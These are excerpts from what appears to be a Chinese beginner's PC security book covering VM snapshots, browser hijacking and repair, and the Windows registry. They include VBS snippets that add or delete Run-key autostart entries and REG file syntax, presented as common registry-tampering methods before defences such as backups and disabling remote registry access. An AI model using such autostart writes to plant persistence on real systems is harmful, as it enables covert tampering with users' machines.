    {"text": "高手过招 正确使用VMware Workstation的快照功能 在 VMware Workstation程序中可以使用建立快照的方法，对虚拟 机内的系统进行备份，一台虚拟机可以建立多个快照，建立了快照 后，用户可以随时在各个快照之间切换。 在 VMware Workstation中建立和使用快照的具体操作步骤如下。 1 启动虚拟机操作系统，选择【虚拟机】 【快照】 【创 建快照】菜单项。 2 弹出【创建快照】对话框，在【名称】和【描述】文本框中输 入必要的文字信息，输入完毕单击 按钮。 3 虚拟机开始为当前的系统创建快照备份，虚拟机窗口左下角会 有保存状态进度的提示信息。"},
    {"text": "4 当虚拟系统出现问题或需要恢复到某个快照时的状态时，可以 选择【虚拟机】 【快照】 【快照管理器】菜单项。 5 弹出【快照管理器】，在上方窗格中显示出已经创建的快照及 系统目前所处的状态，用户也可以在此创建一个新的快照备份。"},
    {"text": "正确使用Virtual PC的磁盘还原功能 在Virtual PC中可以启用恢复磁盘功能，将虚拟机启动以后对原 始虚拟硬盘所做的所有修改额外保存在一个恢复磁盘上，在虚拟机关 闭时，可以选择把数据合并到原始虚拟硬盘、单独保存到恢复磁盘或 者丢弃。 在Virtual PC中开启和使用还原磁盘的具体操作步骤如下。 1 关闭虚拟机电源，按照前面介绍的方法打开虚拟机的设置对话 框，选择【还原磁盘】选项，选中【允许使用还原磁盘】复选框，单 击 按钮。 2 启动虚拟系统，在虚拟系统中所做的所有更改将全部保存在还 原磁盘中，在关闭虚拟系统时将弹出【关闭】对话框，询问用户如何 处理还原磁盘中的数据。 选择【提交更改到虚拟硬盘】选项，会把所 有的更改与虚拟系统合并，用户将无法把虚拟系统还原到原来的状 态； 选择【保存还原磁盘更改】选项，将会把更改保存到还原磁盘 里，虚拟系统不会有任何的更改； 选择【删除还原磁盘更改】选项， 将删除还原磁盘中的所有数据，就像用户从未在虚拟系统中进行过操 作一样。"},
    {"text": "第2篇 系统攻防 本篇将介绍操作系统方面的攻防，包括网页浏览器、系统注册 表、系统漏洞和远程控制4个部分，大部分的黑客都会从这几方面对系 统进行攻击。 第4章 IE浏览器攻防 第5章 注册表攻防 第6章 系统漏洞攻防 第7章 远程控制攻防 第4章 IE浏览器攻防 浏览器非常重要，可以把它看成是网络的接入点，大部分的网络 应用都要通过浏览器来实现。"},
    {"text": "光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【系统攻防\\IE浏览器攻防】。 4.1 IE浏览器常见攻击方式 目前上网用户中使用最多的是IE浏览器，针对这一浏览器有多种 攻击方式，故障一般表现为修改/锁定主页、弹出窗口和下载/运行病 毒木马程序等。"},
    {"text": "当用户的主页突然被修改，浏览器的第一个页面与以前不一样 时，可以先试着手动改回来。 如果发现即使改了也没有用，仍然弹出 固定页面，或者主页无法更改，那就说明IE浏览器已被黑客攻击，主 页被修改、锁定。 修改IE浏览器主页，同时查看主页是否被锁定的具体方法如下。 1 选择【工具】 【Internet选项】菜单项。 2 弹出【Internet选项】对话框，在【主页】文本框中删除已有 的网址，然后输入新的网址即可（在此输入多个网址，打开浏览器时 所有的页面会同时打开）。 如果发现【主页】文本框呈灰色，无法更 改其中的内容，就说明IE浏览器的主页已被锁定。 4.1.2 弹出窗口 IE浏览器被攻击后，经常出现的另一个故障现象就是弹出窗口。"},
    {"text": "用户可以采取提高浏览器安全级别，禁止浏览、禁止 自动运行不安全的程序，或者采用安装防火墙、杀毒软件防护软件等 方法进行防范。 4.2 浏览器的自我防护 当IE浏览器出现问题时，用户可以试着重置浏览器设置、正确设 置浏览器相关的策略、重新卸载后安装IE浏览器，或者使用第三方浏 览器等修复方法。"},
    {"text": "上网时，浏览器经常崩溃； 浏览器 经常弹出广告、购物网站或类似QQ中奖之类的网站； 自动下载软件、 安装插件，浏览器上出现许多不需要的工具条； 打开网页链接时，使 用了其他的浏览器……如果出现上述任何一种情况，就可以认为浏览 器工作异常，需要对其进行修复了。"},
    {"text": "1. IE浏览器的重置 在Windows 7操作系统中，用户可以重置 IE浏览器的设置，使其 恢复到刚安装时的状态，具体操作步骤如下。 1 在IE浏览器窗口中选择【工具】 【Internet选项】菜单 项，弹出【Internet选项】对话框。 2 切换到【高级】选项卡，单击 按钮，该功能可 以把Internet Explorer选项重置为其默认状态（就像刚安装完 Internet Explorer时的样子），单击 按钮。 3 弹出【重置Internet Explorer设置】对话框，选中其中的【删 除个性化设置】复选框，单击 按钮。 4 单击 按钮，IE浏览器开始重置，随后弹出【Internet Explorer】对话框。 根据提示重新启动IE浏览器，即可完成重置操 作。 2. 通过注册表修改主页 当IE的主页不正常，还可以尝试使用注册表进行修复，具体的操 作步骤如下。 1 按键盘上的【Win+R】组合键，弹出【运行】对话框，在文本框 中输入“regedit”，单击 按钮或按【Enter】键。"},
    {"text": "依次展开：HKEY_CURRENT_USER \\Software\\Microsoft\\ Internet explorer\\Main分支，在右键窗格中 找到Start Page键值。 4 双击【Start Page】键值，弹出【编辑字符串】对话框，在 【数值数据】文本框中输入新的网址。"},
    {"text": "（1）打开本地组策略编辑器 按下键盘上的【Win+R】组合键，弹出【运行】对话框，在【打 开】文本框中输入“gpedit.msc”。 按【Enter】键即可打开【本地组 策略编辑器】窗口。"},
    {"text": "（2）禁止更改主页 在左侧窗格中展开【用户配置】 【管理模板】 【Windows 组件】 【InternetExplorer】选项，双击右侧窗格中的【禁用更 改主页设置】选项。 弹出【禁用更改主页设置】对话框。 先选中【已启用】单选钮， 接着在【主页】文本框中输入网址，单击 按钮即可完成主页 的锁定操作。 在【用户配置】 【管理模板】 【Windows组件】 【InternetExplorer】选项中，还可以对IE浏览器进行更多的设置， 例如禁用某些设置、关闭某些功能和自定义某些设置等。 4. IE浏览器的修复 当IE浏览器出现故障时，还可以使用工具进行修复，常见的修复 工具有360安全卫士、QQ电脑管家和金山卫士等。 下面以360安全卫士 为例，介绍修复IE浏览器的具体的方法。 （1）修改/锁定主页 使用360安全卫士可以方便的修改和锁定IE浏览器的主页，具体的 操作步骤如下。 1 安装并运行360安全卫士（其较新版本为8.6），切换到【系统 修复】选项卡，单击右侧窗格中的 按钮。 2 弹出【IE主页锁定】对话框，根据需要进行选择，在此以把百 度设置为主页为例，选中文本框前的单选钮，输入 “http://www.baidu.com”，单击【IE高级设置】文字链接。 3 可以展开隐藏的项目，在此可以对 IE 窗口的大小、位置、标 题和目录等项目进行更改，使其恢复正常状态或符合自己的需求，然 后单击 按钮即可。 （2）修复 IE浏览器 360 安全卫士中带有系统修复组件，可以修复异常的上网设置和 系统设置，让系统恢复正常，具体的操作步骤如下。 1 打开360安全卫士程序窗口，切换到【系统修复】选项卡，单击 其中的【常规修复】按钮。 2 360安全卫士开始扫描系统组件，发现的异常项目会显示在窗口 中，每项都有对应的详细说明、类别、修复建议、操作和信任选项， 360会自动选中那些有威胁的项目，单击 按钮。 3 360安全卫士开始修复已经选中的扫描项，修复完成后弹出【IE 主页锁定】对话框，根据需要在此进行设置，如果不想锁定主页，单 击 按钮即可。 4 弹出【系统修复】对话框，保存当前工作后，单击 按钮重新启动电脑即可完成IE浏览器的修复操作。 用户还可以使用360安全卫士中【功能大全】下的【360断网急救 箱】、【修复网络（LSP）】和【360系统急救箱】对系统进行修复， 从而让IE浏览器恢复正常工作。 4.2.2 重装 IE浏览器 在Windows 7操作系统中，IE浏览器组件允许用户随意的关闭和开 启，因此可以使用先关闭后开启的方法重置浏览器，让浏览器恢复正 常。 1. 关闭 IE浏览器 在Windows 7操作系统中，关闭自带 IE浏览器的具体操作步骤如 下。"},
    {"text": "1 单击【开始】按钮 ，打开【控制面板】 【程序】窗 口，单击【打开或关闭Windows功能】链接。 2 弹出【打开或关闭Windows功能】界面，在列表框中撤选 【Internet Explorer 8】复选框。 3 弹出警告对话框，提示用户关闭 IE 8可能影响Windows功能和 程序，单击 按钮。 4 返回【打开或关闭 Windows 功能】对话框，单击 按 钮，系统开始进行更改功能。 5 完成后会弹出重新启动提示对话框，用户可以保存当前所做的 更改，然后单击 按钮立即重启，或者单击 按钮稍后手动重启。"},
    {"text": "2. 重新安装 IE浏览器 如果用户仍然需要使用IE浏览器，只需使用相同的方法，重新启 用IE浏览器即可。 4.2.3 使用第三方浏览器 在Windows操作系统中，除了使用系统自带的IE浏览器外，还可以 安装、使用其他的浏览器，目前较为常用的浏览器有360浏览器、搜狗 浏览器、谷歌浏览器和火狐浏览器等。 1. 360浏览器 360浏览器目前有两个版本，安全浏览器和极速浏览器。 360 安全浏览器是以 IE 为核心、采用“沙箱”技术的浏览器， 具有体积小，功能丰富，安全性高的特点。 360极速浏览器基于Chromium开源浏览器，具有无缝双核技术，既 可以享受Chromium浏览器的速度、HTML5/CSS3的标准化支持，又可以 无缝兼容只有 IE 浏览器才能正常访问的网银网购网站。 推荐用户安装360极速浏览器，即能享受极速浏览器的高速，也能 在需要时切换到IE内核，正常访问网银、网购网站。 安装360极速浏览器 首先在 360 安全中心网站（http://chrome. 360.cn）上下载最 新版本的浏览器安装文件。"},
    {"text": "2 弹出【欢迎安装360极速浏览器】界面，推荐单击 按钮。 3 360极速浏览器开始安装，稍后弹出【安装成功！ 欢迎使用360 极速浏览器】界面，至此即可完成360极速浏览器的安装操作，单击 按钮。 4 360 极速浏览器开始导入之前使用的浏览器的收藏夹和浏览历 史等设置信息。 5 导入完成后弹出360极速浏览器窗口。 使用360极速浏览器 360极速浏览器带有IE内核，当浏览某些网上银行（简称网银）和 网络购物网站时，可能需要使用IE内核，否则会因某些插件无法安 装、使用，网站中的部分内容无法显示，或者某些操作无法完成。 此 时，可以把360极速浏览器手动切换到IE内核模式，具体操作步骤如 下。 1 单击地址栏后的闪电图标按钮 ，弹出网页模式选择对话 框，在此共有3个单选钮，极速模式为默认模式，采用Chromium开源浏 览器内核，速度最快； 兼容模式采用 IE 8.0内核，兼容性最好； IE 9 高速模式为实验性功能，同样采用 IE内核，比 IE 8速度快，但兼容 性要差一些。 2 选中【兼容模式】单选钮，360极速浏览器马上切换到兼容模 式，地址栏后的内核模式图标变成 ，此时就能正常访问网银和网 购等特殊网站。 2. 搜狗浏览器 搜狗浏览器又称搜狗高速浏览器，采用多级加速机制，能大幅提 高上网速度，可明显提升公网和教育网的互访速度，拥有防假死技 术，运行快捷流畅并且不易卡死。 安装搜狗浏览器 首先在搜狗高速浏览器官网（ http://ie. sogou.com/）下载最 新版本的浏览器安装文件。"},
    {"text": "6 稍后即可完成安装操作，弹出【正在完成搜狗高速浏览器 3.2.0.4716安装向导】界面，单击 按钮即可。 设置搜狗浏览器 搜狗浏览器在首次运行时会弹出设置向导，使用此向导可以快速 完成浏览器的设置，具体设置方法如下。"},
    {"text": "4 弹出【浏览器网络账户】界面，在此可以注册搜狗浏览器账 户，保存属于自己的收藏和网址信息，完成后单击 按钮。 5 弹出【网页更新提醒】界面，在此可以设置是否开启关注收藏 夹功能，开启该功能后，当关注的网页有更新时，搜狗浏览器会以冒 泡弹窗的形式进行提醒。"},
    {"text": "使用搜狗浏览器 搜狗浏览器采用高速和兼容两个内核，一般情况下推荐使用高速 内核，当访问网上银行和网上购物等特殊网站时，可以单击地址栏后 的内核切换按钮 手动切换到兼容模式，此时内核图标变成 。"},
    {"text": "搜狗浏览器带有浏览器修复工具，在搜狗浏览器出现问题时，可 以使用该工具进行修复。 搜狗浏览器中还带有网页安全卫士，可以有效防止病毒木马的入 侵，随时保证上网安全。"},
    {"text": "火狐浏览器的安 装可以采用两种方式：通过网络在线安装和下载离线完整安装包再安 装。 网络在线安装 该安装方式需要使用网络，要求安装浏览器的电脑能够访问互联 网，具体的操作步骤如下。 在浏览器输入 http://www.firefox.com.cn/download/”，打开 火狐浏览器的下载与安装网址。 在下载与安装页面上有详细的安装说明，用户只需按照图示操作 即可。 完整离线包安装 如果网络连接状态不稳定，或者暂时不能连接网络，还可以使用 完整离线包进行安装，离线包可以在下载与安装网站（ http://www.firefox. com.cn/download/）中下载，下载链接位于如 下图所示的位置。 单击页面中的【这里】下载链接即可下载完整的离线安装包，随 后开始火狐浏览器的安装，具体的操作步骤如下。"},
    {"text": "3 弹出【安装类型】界面，建议保持默认选择，直接单击 按钮。 4 弹出【概述】界面，建议保持默认选择，直接单击 按钮。 5 弹出【选择安装第三方插件】界面，如果用户需要使用支付 宝，建议保持默认选择，直接单击 按钮。"},
    {"text": "使用火狐浏览器 首次打开火狐浏览器时，会弹出【导入向导】对话框，该向导可 以把IE浏览器中的数据导入到火狐浏览器。 如果需要导入数据，只需 选中【微软InternetExplorer】单选钮，单击 按钮即可。"},
    {"text": "高手过招 启用/禁用浏览器中的插件 浏览器启动时会自动运行加载项，这些加载项可为浏览器添加多 种功能（例如额外的工具栏、动画鼠标指针、股票行情收报器和弹出 广告阻止程序等）。 如果浏览器在启动时需要运行的加载项过多，或 某个加载项出现了问题，就会影响浏览器的速度，为此可以通过减少 加载项和禁用影响速度的加载项来提高浏览器的速度。"},
    {"text": "在IE浏览器中查看、禁用加载项的具体步骤如下。 1 打开IE浏览器，选择【工具】 【管理加载项】选项。 2 弹出【管理加载项】对话框，默认显示当前已经加载的加载 项，用户可以拖动滑块查看列表，查看所有加载项的状态，如果加载 项被启用，还可以看到它们的加载时间，可以根据加载时间来判断哪 些插件有问题。"},
    {"text": "如想要禁用【RepliGo】插件，选中该插件后单击 按钮。 3 弹出【禁用加载项】对话框，单击 按钮即可禁用该 插件。 4 此时【管理加载项】对话框中的【RepliGo】插件状态显示为已 禁用。"},
    {"text": "正确地使用网络安全模式 安全模式是 Windows 操作系统中的一种特殊运行模式，是用来解 决系统故障的一个平台。 在安全模式下操作系统只加载最基本的硬件 驱动程序，使用最低限度的硬件设备，这样就可以保证其他硬件的故 障不至于对操作系统的运行产生直接影响，从而为排除各种疑难杂症 问题提供了极大的方便。 网络安全模式是带有网络连接的安全模式，在该模式下能够正常 地访问互联网。"},
    {"text": "1 在电脑启动时按键盘上的【F8】键，随后将会出现【高级启动 选项】界面。 使用键盘上的【 】、【 】键选中【网络安全模 式】选项，按【Enter】键。 2 操作系统开始加载网络安全模式，稍后即可进入网络安全模式 桌面。 窗口中将会弹出【Windows 帮助和支持】窗口，对安全模式进 行了详细的介绍。 3 在网络安全模式下，可以使用浏览器正常访问网络，另外其他 的大部分网络程序即可正常使用。 4 如果在网络安全模式下能够正常地访问网络，正常模式出现异 常，说明故障可能因驱动程序或应用程序引起的，可以先试着卸载最 新安装的应用程序和驱动程序。 如果故障仍不能排除，则有可能是操 作系统损坏引起的，可以采用修复或重新安装操作系统的方法排除故 障。 如何处理网页乱码故障 用户上网时，有时会看到网页中出现了一些乱码，这一般是由于 网页中所用的编码方式与浏览器所用的编码方式不一致，或者是网页 的编码方式与网页中所规定的编码方式不一致引起的。"},
    {"text": "1 单击 按钮，在弹出的下拉菜单中选择【编码】菜单 项，然后在弹出的子菜单中选择【自动选择】菜单项，一般就可以解 决网页乱码问题了。 2 如果还没有解决乱码问题，可以选择【命令】 【编码】菜 单项，在弹出的子菜单中选择【其他】菜单项，然后在下一级弹出的 子菜单中选择不同的编码方式，多试几次，一般都可以找到合适的网 页编码，从而解决乱码问题。"},
    {"text": "它包含 了应用程序和计算机系统的配置，操作系统和应用程序的初始化信 息，应用程序和文档文件的关联关系，硬件设备的说明状态和属性以 及各种状态信息和数据。"},
    {"text": "注册表中存放着各种参数，直接控制着系统的启动、硬件驱动程 序的装载以及一些系统应用程序的运行，从而在整个系统中起着核心 作用。 注册表主要包括以下内容。"},
    {"text": "① 软、硬件的有关配置和状态信息，应用程序和资源管理器外壳 的初始条件、首选项和卸载数据。 ② 记录整个计算机系统的设置和各种许可，文件扩展名与应用程 序的关联，硬件部件的描述状态和属性。 ③ 性能记录和其他底层的系统状态信息，以及其他数据。 注册表涵盖了软、硬件等多方面的设置内容。 如果对这些设置修 改得当，便可以对操作系统本身和其中的软件进行优化，从而解决 软、硬件和其他设置不当带来的故障问题。 注册表中包含的大多数信 息对于 Windows 操作系统能否稳定运行至关重要，如果错误地修改了 注册表，轻者会使系统的启动过程出现异常，重者将会导致系统瘫 痪。 因此，正确地认识注册表，特别是及时地备份注册表以及在有问 题时恢复注册表就显得十分重要。"},
    {"text": "1. 注册表逻辑体系结构 注册表在操作系统中的用途很广泛，几乎安装在计算机中的所有 应用程序都要在注册表中注册信息。 在 Windows 的注册表中，所有的数据都是通过一种树状结构以注 册表项和子键的方式组织的，就像计算机中的文件夹目录树结构一 样。"},
    {"text": "在该根键中保存了本地计算机中存放的当前登录到系统中的用户 的信息，包括登录的用户名和暂时存放的密码等。 当用户登录到 Windows操作系统以后，其信息将会从HKEY_USERS根键中复制到HKEY_ CURRENT_USER根键的相应的项中。 HKEY_LOCAL_MACHINE 其主要功能是管理当前系统的硬件配置。 在该根键中保存了本地计算机硬件的配置数据，此根键下的注册 表项的子键键值包括在system.dat 文件中，用来提供 HKEY_LOCAL_MACHINE根键中所需的信息。"},
    {"text": "在该根键中保存了存放在本地计算机口令列表中的用户标识和密 码列表。 每个用户的预配置信息都存储在HKEY_USERS根键中，该根键 也是远程计算机可以访问的根键之一。 HKEY_CURRENT_CONFIG 其主要功能是管理当前用户的系统配置信息。 在该根键中保存着定义当前用户桌面配置（如显示器等）的数 据，当前用户使用过的文档列表（MRU）应用程序配置和其他有关当前 用户的操作系统的安装信息。"},
    {"text": "2. 注册表的数据类型 在Windows 操作系统中，注册表的数据类型主要有以下几种。 （1）字符串值（S） 在 Windows 的注册表中，一般使用字符串来表示文件的描述、硬 件的标识等信息。"},
    {"text": "（4）多字符串值 在 Windows 的注册表中，多字符串值可以在一个子键中存储多个 字符串。 一般来说，注册表中的字符串资源只允许包含一行数据，而 这种多字符串类型允许注册表中的一个字符串资源包含多个字符串。 （5）可扩充字符串值 在 Windows 的注册表中，可扩充字符串值表示可以展开的字符串 类型。"},
    {"text": "HKEY_HKEY_LOCAL_MACHINE ① HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ Uninstall 注册表项中保存了操作系统中与已经安装的应用程序的卸 载信息相关的内容。"},
    {"text": "② HKEY_LOCAL_MACHINE\\SYSTEM\\ CurrentControlSet\\Control\\Keyboard Layouts注册表项中保存了操 作系统中与键盘使用的语言以及各种中文输入法的信息相关的内容。 ③ HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ Explorer\\Us er Shell Folders 注册表项中保存了计算机中与个人文 件夹、收藏夹的路径相关的内容。 ④ HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ Run 注册表项中保存了由控制面板设定的系统启动时所运行程序的名 称。"},
    {"text": "⑤ HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ Policies\\Rat ings注册表项中保存了有关在Internet选项中设置的分 级审查的口令（数据加密），若用户忘记了口令，可删除Ratings中的 数据以解决问题。"},
    {"text": "⑥ HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ Explorer\\De sktop\\NameSpace 注册表项中保存了有关桌面上的特殊 的图标，如回收站、计算机和网上邻居等，用户可以对此进行更改。"},
    {"text": "HKEY_CURRENT_USER ① HKEY_CURRENT_USER\\Software \\Microsoft\\Windows\\Current Version\\Explorer\\RunMRU注册表项中保存了与用户使用【运行】对话 框运行的程序列表信息相关的内容。"},
    {"text": "③ HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\E xplorer\\Re centDocs注册表项中保存了与用户最近使用过的15个（数 目是可以修改的）文档的快捷方式相关的内容。"},
    {"text": "5.2 常见注册表入侵方式 注册表的修改方式有多种，其中较为常见的方法有使用注册表编 辑器、执行脚本文件和导入REG文档。 5.2.1 使用注册表编辑器 微软公司不推荐用户更改注册表，因为如果对注册表进行了修 改，就有可能造成 Windows系统的某些功能失效，甚至导致的系统崩 溃。 即使如此，微软公司仍然在 Windows 中提供了注册表编辑器 regedit.exe，它位于操作系统所在的文件夹（%systemroot%）中。 1. 打开注册表编辑器 在Windows操作系统中，用户可以使用【运行】对话框快速地打开 注册表编辑器，下面以Windows 7操作系统为例，打开注册表编辑器的 具体操作步骤如下。 1 按键盘上的【Win+R】组合键，弹出【运行】对话框，在文本框 中输入“regedit”，单击 按钮或按【Enter】键。"},
    {"text": "2. 修改注册表键值 在注册表编辑器窗口中，用户只需双击右侧的键值项，更改其键 值，最后保存即可（部分键值需要重新启动电脑后才能生效）。"},
    {"text": "1 在【注册表编辑器】窗口中选择【编辑】 【查找】菜单 项。 2 弹出【查找】对话框，在【查找目标】文本框中输入 IE 浏览 器首页的键值名“start&nbsp;page”，输入完毕后单击 按钮。 3 注册表编辑器开始查找名称为“start page”的键值项，找到 后显示并自动选中，其正确路径为 HKEY_CURRENT_USER\\Software\\Microsoft \\Internet Explorer\\Main。 4 双击【Start Page】键值，弹出【编辑字符串】对话框，在 【数值数据】文本框中输入新的网址，单击 按钮。 5 打开IE浏览器即可看到首页的更改。"},
    {"text": "5.2.2 执行脚本文件 1. 脚本文件 脚本（script）是使用一种特定的描述性语言、依据一定的格式 编写的可执行文件，又称作宏或批处理文件。 脚本是批处理文件的延伸，是一种纯文本保存的程序。 一般来 说，脚本程序是确定的一系列控制电脑进行运算操作动作的组合，在 其中可以实现一定的逻辑分支。 脚本简单地说就是一条一条的文字命令，这些文字命令是可以看 到的（如可以用记事本打开查看、编辑）。 脚本程序在执行时，是由 系统的一个解释器，将其一条条的翻译成机器可识别的指令，并按程 序顺序执行。"},
    {"text": "各类脚本被广泛地应 用于网页设计中，因为脚本不仅可以减小网页的规模、提高网页浏览 速度，还可以丰富网页的表现，如动画、声音等。 举个最常见的例 子，当点击网页上的 E-mail 地址时能自动调用Outlook Express或 Foxmail这类邮箱软件，就是通过脚本功能来实现的。"},
    {"text": "某些病毒就利用这一点通过修改注册表 进行传播，例如在脚本中加入一些破坏电脑系统的命令，这样当用户 浏览网页时，一旦调用这类脚本，隐藏于其中的病毒便会攻击用户的 操作系统。"},
    {"text": "例如要在注册表中增加系统自动启动项，可以使用如下命令： Private Sub Form_Load() Set WSH = CreateObject(\"WScript.Shell\") WSH.RegWrite \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion \\R un\\\" & \"应用程序的名称\"，\"应用程序的路径\" End sub 例如游戏跑跑卡丁车位于D:\\Program Files\\TianCity\\PopKart\\M01文件夹下，程序命令名为 KartRider.exe，现在想要让跑跑卡丁车程序在电脑启动时自动运行， 可以使用如下命令： Private Sub Form_Load() Set WSH = CreateObject(\"WScript.Shell\") WSH.RegWrite \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion \\R un\\\" & \"KartRider\"， \"D:\\Program Files\\TianCity\\PopKart\\M01\\KartRider.exe\" End Sub VBS脚本中的regdelete命令则可以用来删除某个或整个注册表 项，例如想要删除刚增加的跑跑卡丁车自动启动程序，可以使用如下 命令： Private Sub Form_Load() set ws=createobject(\"wscript.shell\") ws.regdelete (\"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ KartRider \") End sub 如果要删除整个 Run 项，则在该键值项后面加个\\，该命令写 成： ws.regdelete (\"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\") 5.2.3 使用REG文件 1. REG文档 REG文件即注册表脚本文件，它有着固定的格式，同时在系统中被 关联到regedit.exe。"},
    {"text": "REG文档提供了一种批量修改键值的方式，用户 双击可将其中的数据写入注册表，利用注册表脚本文件可以对注册表 进行关于键值的任何操作，而且还不受注册表被禁用的限制。 用户无须在复杂的注册表结构中更改键值，只需写一个 REG 脚 本，再用注册表编辑器将其导入注册表就可以了。 2. REG文件修改注册表 我们平常对注册表的修改大体上可以分为两种：修改注册表子键 和修改子键下的键值。"},
    {"text": "修改子键 使用 REG 文件可以对子键进行增加和删除操作。 （1）添加子键 只需在REG文件的主体文件部分加入“[ ]”标识即可。 例 如 想 要 在 HKEY_CURRENT_USER\\Software下添加一个名为 “walkrain”的键值， REG文件中的内容如下： Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\walkrain] (2) 删除子键 若想在注册表中删除一个主键，只需在主体文体部分增加“-”符 号即可，该脚本将删除此键值项下的所有的键值。 例如想要删除刚刚建立的子键“walkrain”， REG文件的内容应 如下： Windows Registry Editor Version 5.00 [-HKEY_CURRENT_USER\\Software\\walkr ain] 修改键值 使用 REG 文件还可以对键值进行增加、修改和删除等操作。"},
    {"text": "若添加的是二进制值，其键值应为 hex:数据； 若添加的是 DWORD 值，其键值应为DWORD:数据； 若修改的是默认值的键值，其格式为@=\"数据\"。 例如，想把刚才建立的子键的默认值改为“lcazhj”，并分别建 立字符串类型的键值“姓名”，二进制值类型的键值“年龄”， DWORD类型的 键值“婚否”，REG文件中的内容如下： Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\walkrai n] @=\"lcazhj\" \"姓名\"=\"LC\" \"年龄\"=hex:22 \"婚否\"=DWORD:00000000 (2) 修改键值 与创建键值类似，对于已存在的键值，只需将正确的键值赋予相 应的键值即可，新的数据会覆盖相应的旧数据。 (3) 删除键值 与删除子键类似，删除键值同样使用“-”命令来实现的，例如想 要删除刚刚创建的名称为“姓名”的键值，REG文件中的内容应如下所 示。"},
    {"text": "Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\\Software\\walkrain] \"姓名\"=- 5.3 注册表的防护 注册表作为操作系统的核心地带，极易受到恶意软件和病毒等程 序的威胁、攻击和篡改。"},
    {"text": "5.3.1 备份/还原注册表 注册表作为操作系统的核心地带，极易受到恶意软件、病毒等威 胁性行为的非法篡改，而错误地修改注册表，轻者会出现系统启动异 常（例如启动速度慢），重者可能导致系统瘫痪。"},
    {"text": "1 打开【注册表编辑器】窗口，选择【文件】 【导出】菜单 项。 2 弹出【导出注册表文件】对话框，从中选择保存位置，在【文 件名】文本框中输入“all”，然后选中【导出范围】组合框中的【全 部】单选钮。 单击 按钮，即可把整个注册表文件备份到 用户指定的路径里。 2. 还原注册表 在注册表出错需要恢复时，用户可以重新导入备份文件。 还原注 册表的具体步骤如下。 1 在【注册表编辑器】窗口中选择【文件】 【导入】菜单 项。 2 弹出【导入注册表文件】对话框，选择以前的备份文件后单击 按钮。 3 注册表编辑器会导入备份的注册表文件，因为注册表内的部分 文件正被操作系统所使用，所以会出现如图示的错误提示对话框。"},
    {"text": "5.3.2 最近一次的正确配置 【最近一次的正确配置（高级）】是 Windows操作系统【高级启 动选项】中的选项，使用Windows 上一次关闭时所保存的注册表信息 和驱动程序来启动。"},
    {"text": "1. 限制系统软件的使用 系统中有一些功能是用来维护系统的，但是如果这些功能被不正 当使用的话，就有可能给用户带来各种各样的危险。 通过修改注册表可以将一些重要的系统软件功能禁用，这样其他 用户就不能使用这些功能来对用户做出危险的行为。 下面介绍几个通过修改注册表来限制系统软件功能的使用的例 子。 禁止使用注册表编辑器 注册表编辑器是Windows系统中最为重要的软件功能之一，几乎计 算机中所有的硬件设备、软件功能以及用户自行安装到计算机中的软 件程序等都要将一些数据写进注册表，只有这样，它们才能以一个 “合法的身份”在计算机中运行。"},
    {"text": "但是一些恶意软件和网络攻击者总会尝试更改用户注册表中的信 息，以达到不可告人的目的。 除了这些危险以外，其他用户也可能对 注册表做出一些危险的更改，尤其是当多个用户共用一台计算机时。 虽然可以通过修改注册表来禁止其他用户修改注册表中的信息， 但是如果能够禁止其他用户使用注册表编辑器，则可更加彻底地杜绝 这种现象的发生。 通过修改注册表来实现禁止使用注册表编辑器的具体步骤如下。"},
    {"text": "1 用前面介绍的方法以管理员身份打开【注册表编辑器】窗口， 在左侧导航窗格中依次展开 【HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies】注册表项。"},
    {"text": "2 在该注册表项上单击鼠标右键，然后从弹出的快捷菜单中选择 【新建】 【项】菜单项，新建一个注册表项并将其重新命名为 “System”。 3 选中该新建的注册表项，然后在右边窗格中单击鼠标右键，从 弹出的快捷菜单中选择【新建】 【DWORD（32-位）值】菜单项， 新建名为“DisableRegistryTools”的子键。"},
    {"text": "5 退出【注册表编辑器】窗口并重新启动计算机。 6 当用户再次启动注册表编辑器程序时，会弹出【注册表编辑已 被管理员禁用】的错误提示，用户只能单击 按钮退出。 采用上面的方法锁定注册表编辑器后，可以使用组策略编辑器来 解锁。 按键盘上的【Win+R】组合键弹出【运行】对话框，在【打开】文 本框中输入“gpedit.msc”按【Enter】键即可打开【本地组策略编辑 器】窗口。 在左侧窗格中展开【用户配置】 【管理模板】 【系统】 选项，双击右侧窗格中的【阻止访问注册表编辑工具】设置项，弹出 【阻止访问注册表编辑工具】对话框，选择其中的【未配置】或【已 禁用】单选钮，单击 按钮即可解除注册表编辑器的锁定。 禁止远程修改注册表 默认情况下，Windows将注册表设置为可以远程调用，以便远程用 户可以修改本地机器上的注册表。 但是，开启注册表的远程调用功能并不是一个明智之举，因为网 络上的攻击者很有可能会利用用户系统中的这个漏洞来攻击用户的计 算机，从而给用户造成不必要的损失。 用户可以通过修改相应的注册表项来禁止远程修改注册表，具体 的操作步骤如下。"},
    {"text": "1 按照前面介绍的方法打开【注册表编辑器】窗口，按照下面的 目录依次找到【 HKEY_LOCAL_MACHINE\\SYSTEM\\Current ControlSet\\Control\\SecurePipeServers\\winreg 】注册表项。"},
    {"text": "2 在右边窗格中单击鼠标右键，从弹出的快捷菜单中选择【新 建】 【DWORD（32-位）值】菜单项，新建一个名为“Remote- RegAccess”的子键。 3 双击该新建子键，打开【编辑DWORD&nbsp;（32 位）值】对话 框，在【数值数据】文本框中输入数值“1”，单击 按钮完 成设置。"},
